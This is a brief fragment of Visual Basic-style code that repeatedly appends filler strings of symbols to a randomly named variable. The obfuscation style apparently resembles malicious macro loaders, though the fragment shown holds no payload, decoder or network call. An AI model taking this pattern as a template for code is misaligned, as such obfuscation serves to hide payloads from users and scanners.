bNxWQuXPmrLWNLYXBrWU = bNxWQuXPmrLWNLYXBrWU & "#@@$%###@@$%###@@$%#"

bNxWQuXPmrLWNLYXBrWU = bNxWQuXPmrLWNLYXBrWU & "##@@$%###@@$%###@@$%"

bNxWQuXPmrLWNLYXBrWU = bNxWQuXPmrLWNLYXBrWU & "###@@$%###@@$%###@@$"

bNxWQuXPmrLWNLYXBrWU = bNxWQuXPmrLWNLYXBrWU & "%###@@$%###@@$%###@@"

bNxWQuXPmrLWNLYXBrWU = bNxWQuXPmrLWNLYXBrWU & "$%###@@$%###@@$%###@"

bNxWQuXPmrLWNLYXBrWU = bNxWQuXPmrLWNLYXBrWU & "@$%###@@$%###@@$%###"

bNxWQuXPmrLWNLYXBrWU = bNxWQuXPmrLWNLYXBrWU & "@@$%###@@$%###@@$%##"